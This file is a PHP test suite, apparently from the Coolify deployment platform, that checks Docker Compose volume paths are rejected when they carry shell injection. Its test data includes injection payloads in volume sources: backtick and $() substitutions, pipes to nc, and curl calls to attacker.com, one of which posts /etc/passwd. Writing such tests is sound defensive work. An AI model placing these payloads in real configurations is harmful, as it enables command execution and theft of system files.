toBeArray(); expect($volumes[0])->toHaveKey('type'); expect($volumes[0])->toHaveKey('source'); expect($volumes[0])->toHaveKey('target'); }); test('malicious array-format volume with backtick injection', function () { $dockerComposeYaml = <<<'YAML' services: evil: image: alpine volumes: - type: bind source: '/tmp/pwn`curl attacker.com`' target: /app YAML; $parsed = Yaml::parse($dockerComposeYaml); $volumes = $parsed['services']['evil']['volumes']; // The malicious volume is now an array expect($volumes[0])->toBeArray(); expect($volumes[0]['source'])->toContain('`'); // When applicationParser or serviceParser processes this, // it should throw an exception due to our validation $source = $volumes[0]['source']; expect(fn () => validateShellSafePath($source, 'volume source')) ->toThrow(Exception::class, 'backtick'); }); test('malicious array-format volume with command substitution', function () { $dockerComposeYaml = <<<'YAML' services: evil: image: alpine volumes: - type: bind source: '/tmp/pwn$(cat /etc/passwd)' target: /app YAML; $parsed = Yaml::parse($dockerComposeYaml); $source = $parsed['services']['evil']['volumes'][0]['source']; expect(fn () => validateShellSafePath($source, 'volume source')) ->toThrow(Exception::class, 'command substitution'); }); test('malicious array-format volume with pipe injection', function () { $dockerComposeYaml = <<<'YAML' services: evil: image: alpine volumes: - type: bind source: '/tmp/file | nc attacker.com 1234' target: /app YAML; $parsed = Yaml::parse($dockerComposeYaml); $source = $parsed['services']['evil']['volumes'][0]['source']; expect(fn () => validateShellSafePath($source, 'volume source')) ->toThrow(Exception::class, 'pipe'); }); test('malicious array-format volume with semicolon injection', function () { $dockerComposeYaml = <<<'YAML' services: evil: image: alpine volumes: - type: bind source: '/tmp/file; curl attacker.com' target: /app YAML; $parsed = Yaml::parse($dockerComposeYaml); $source = $parsed['services']['evil']['volumes'][0]['source']; expect(fn () => validateShellSafePath($source, 'volume source')) ->toThrow(Exception::class, 'separator'); }); test('exact example from security report in array format', function () { $dockerComposeYaml = <<<'YAML' services: coolify: image: alpine volumes: - type: bind source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`' target: /app YAML; $parsed = Yaml::parse($dockerComposeYaml); $source = $parsed['services']['coolify']['volumes'][0]['source']; // This should be caught by validation expect(fn () => validateShellSafePath($source, 'volume source')) ->toThrow(Exception::class); }); test('legitimate array-format volumes are allowed', function () { $dockerComposeYaml = <<<'YAML' services: web: image: nginx volumes: - type: bind source: ./data target: /app/data - type: bind source: /var/lib/data target: /data - type: volume source: my-volume target: /app/volume YAML; $parsed = Yaml::parse($dockerComposeYaml); $volumes = $parsed['services']['web']['volumes']; // All these legitimate volumes should pass validation foreach ($volumes as $volume) { $source = $volume['source']; expect(fn () => validateShellSafePath($source, 'volume source')) ->not->toThrow(Exception::class); } }); test('array-format with environment variables', function () { $dockerComposeYaml = <<<'YAML' services: web: image: nginx volumes: - type: bind source: ${DATA_PATH} target: /app/data YAML; $parsed = Yaml::parse($dockerComposeYaml); $source = $parsed['services']['web']['volumes'][0]['source']; // Simple environment variables should be allowed expect($source)->toBe('${DATA_PATH}'); // Our validation allows simple env var references $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source); expect($isSimpleEnvVar)->toBe(1); // preg_match returns 1 on success, not true }); test('array-format with safe environment variable default', function () { $dockerComposeYaml = <<<'YAML' services: web: image: nginx volumes: - type: bind source: '${DATA_PATH:-./data}' target: /app/data YAML; $parsed = Yaml::parse($dockerComposeYaml); $source = $parsed['services']['web']['volumes'][0]['source']; // Parse correctly extracts the source value expect($source)->toBe('${DATA_PATH:-./data}'); // Safe environment variable with benign default should be allowed // The pre-save validation skips env vars with safe defaults expect(fn () => validateDockerComposeForInjection($dockerComposeYaml)) ->not->toThrow(Exception::class); }); test('array-format with environment variable and path concatenation', function () { // This is the reported issue #7127 - ${VAR}/path should be allowed $dockerComposeYaml = <<<'YAML' services: web: image: nginx volumes: - type: bind source: '${VOLUMES_PATH}/mysql' target: /var/lib/mysql - type: bind source: '${DATA_PATH}/config' target: /etc/config - type: bind source: '${VOLUME_PATH}/app_data' target: /app/data YAML; $parsed = Yaml::parse($dockerComposeYaml); // Verify all three volumes have the correct source format expect($parsed['services']['web']['volumes'][0]['source'])->toBe('${VOLUMES_PATH}/mysql'); expect($parsed['services']['web']['volumes'][1]['source'])->toBe('${DATA_PATH}/config'); expect($parsed['services']['web']['volumes'][2]['source'])->toBe('${VOLUME_PATH}/app_data'); // The validation should allow this - the reported bug was that it was blocked expect(fn () => validateDockerComposeForInjection($dockerComposeYaml)) ->not->toThrow(Exception::class); }); test('array-format with malicious environment variable default', function () { $dockerComposeYaml = <<<'YAML' services: evil: image: alpine volumes: - type: bind source: '${VAR:-/tmp/evil`whoami`}' target: /app YAML; $parsed = Yaml::parse($dockerComposeYaml); $source = $parsed['services']['evil']['volumes'][0]['source']; // This contains backticks and should fail validation expect(fn () => validateShellSafePath($source, 'volume source')) ->toThrow(Exception::class); }); test('compose validator rejects unsafe array source defaults', function (string $source) { $compose = "services:\n web:\n image: nginx\n volumes:\n - type: bind\n source: '".$source."'\n target: /app\n"; expect(fn () => validateDockerComposeForInjection($compose)) ->toThrow(Exception::class, 'Invalid Docker volume definition'); })->with([ '${DATA:-/tmp/evil`id`}', '${DATA:-/tmp/evil$(id)}', '${DATA:-/tmp/evil;id}', '${DATA:-/tmp/evil|id}', '${DATA:-/tmp/evil$(id)}/config.yml', '${DATA:-${HOME:-$(id)}/config.yml}', '${DATA:+/srv/app;id}/config.yml', '${DATA:?missing;id}', '${DATA?$(id)}', '${DATA-/tmp/evil`id`}', '${DATA+/tmp/evil|id}', '/srv/$HOME/evil`id`', ]); test('compose validator keeps safe array source expressions', function (string $source) { $compose = "services:\n web:\n image: nginx\n volumes:\n - type: bind\n source: '".$source."'\n target: /app\n"; expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class); })->with(['${DATA}', '${DATA}/config', '${DATA}//config', '${DATA:-/srv/app/data}', '/srv/$HOME/config.yml', '$HOME/$FILE', '${DATA:-/srv/$HOME/config.yml}']); test('compose validator keeps unsupported array source forms rejected', function (string $source) { $compose = "services:\n web:\n image: nginx\n volumes:\n - type: bind\n source: '".$source."'\n target: /app\n"; expect(fn () => validateDockerComposeForInjection($compose)) ->toThrow(Exception::class, 'Invalid Docker volume definition'); })->with(['${DATA:+/srv/app}', '${DATA:-${HOME}/config.yml}', '${DATA:-/srv/app}/file', '${DATA:?missing}', '${DATA?missing}', '${DATA-/srv/app}', '${DATA+/srv/app}']); test('mixed string and array format volumes in same compose', function () { $dockerComposeYaml = <<<'YAML' services: web: image: nginx volumes: - './safe/data:/app/data' - type: bind source: ./another/safe/path target: /app/other - '/tmp/evil`whoami`:/app/evil' - type: bind source: '/tmp/evil$(id)' target: /app/evil2 YAML; $parsed = Yaml::parse($dockerComposeYaml); $volumes = $parsed['services']['web']['volumes']; // String format malicious volume (index 2) expect(fn () => parseDockerVolumeString($volumes[2])) ->toThrow(Exception::class); // Array format malicious volume (index 3) $source = $volumes[3]['source']; expect(fn () => validateShellSafePath($source, 'volume source')) ->toThrow(Exception::class); // Legitimate volumes should work (indexes 0 and 1) expect(fn () => parseDockerVolumeString($volumes[0])) ->not->toThrow(Exception::class); $safeSource = $volumes[1]['source']; expect(fn () => validateShellSafePath($safeSource, 'volume source')) ->not->toThrow(Exception::class); }); test('array-format target path injection is also blocked', function () { $dockerComposeYaml = <<<'YAML' services: evil: image: alpine volumes: - type: bind source: ./data target: '/app`whoami`' YAML; $parsed = Yaml::parse($dockerComposeYaml); $target = $parsed['services']['evil']['volumes'][0]['target']; // Target paths should also be validated expect(fn () => validateShellSafePath($target, 'volume target')) ->toThrow(Exception::class, 'backtick'); });